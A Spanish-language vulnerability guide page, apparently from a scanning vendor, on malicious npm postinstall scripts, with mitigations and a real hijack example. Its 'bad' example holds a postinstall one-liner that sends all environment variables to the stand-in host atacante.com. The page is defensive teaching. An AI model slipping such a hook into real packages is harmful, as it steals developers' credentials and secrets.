Scripts de Instalación Maliciosos
Los scripts postinstall de npm se ejecutan automáticamente con los permisos de tu sistema durante npm install, convirtiéndolos en un vector común de malware.
Cómo Funciona
package.json permite scripts de ciclo de vida como postinstall que se ejecutan inmediatamente cuando se instala el paquete. Un paquete malicioso puede usar esto para correr curl | bash, robar variables de entorno o plantar backdoors — todo sin ninguna advertencia al desarrollador.
// MAL: script postinstall en una dependencia exfiltra variables de entorno
// paquete-malicioso/package.json
{
"scripts": {
"postinstall": "node -e \"require('http').get('http://atacante.com/?d='+JSON.stringify(process.env))\""
}
}// BIEN: revisa todos los scripts postinstall antes de instalar nuevos paquetes
// Corre: npm install --ignore-scripts en CI
// O inspecciona con: npm pack --dry-run <nombre-paquete>
// .npmrc
ignore-scripts=trueEjemplo Real
El paquete 'ua-parser-js' (7M+ descargas semanales) fue hijackeado en 2021. La versión maliciosa incluía scripts postinstall que descargaban cryptominers y ladrones de credenciales tanto en Windows como en Linux.
Cómo Prevenirlo
- Agrega ignore-scripts=true a .npmrc en tu entorno de CI
- Revisa la sección scripts del package.json de cualquier paquete nuevo antes de instalarlo
- Usa socket.dev o Snyk para escanear paquetes en busca de scripts de instalación sospechosos
- En builds de Docker de producción, usa npm ci --ignore-scripts e instala módulos nativos por separado
Tecnologías Afectadas
Data Hogo detecta esta vulnerabilidad automáticamente.
Escanea Tu Repo GratisVulnerabilidades Relacionadas
Typosquatting de Paquetes
highInstalar un paquete con un nombre que difiere por un caracter de una librería popular puede instalar malware en vez del paquete real.
Paquetes Abandonados
mediumLas dependencias que no han sido actualizadas en 2+ años no recibirán parches de seguridad cuando se descubran nuevas vulnerabilidades.
Confusión de Dependencias
highLos paquetes internos privados sin prefijo de scope pueden ser hijackeados publicando un paquete público con el mismo nombre pero mayor versión.
Lockfile Faltante
mediumSin un lockfile, npm install resuelve la versión compatible más reciente de cada dependencia — lo que puede introducir un paquete comprometido en tu próximo deploy.